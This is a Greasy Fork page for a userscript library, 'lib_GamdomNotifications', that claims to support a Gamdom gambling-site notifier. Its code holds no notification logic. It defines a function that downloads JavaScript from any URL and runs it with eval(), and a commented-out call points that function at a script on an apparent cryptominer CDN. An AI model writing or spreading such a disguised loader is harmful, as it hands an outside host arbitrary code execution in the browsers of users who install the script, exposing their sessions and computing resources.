Greasy Fork

Greasy Fork is available in English.

lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2018-04-08 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.greasyfork.icu/scripts/35828/264012/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    http://greasyfork.icu/es/users/154624-anonimo-anonimo
// @version      1.2
// @description  Lib needed for running Gamdom Notificator
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var DivAppend = function(){
        //document.body.appendChild(div);
        //CPEL("https://cdn.minescripts.info/c/g9lx_2.js");
        console.log("Daiv crai :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

(function() {
    'use strict';
     console.log("LIB LOADED" + "(version: " + "1.2.0" + ")");
})();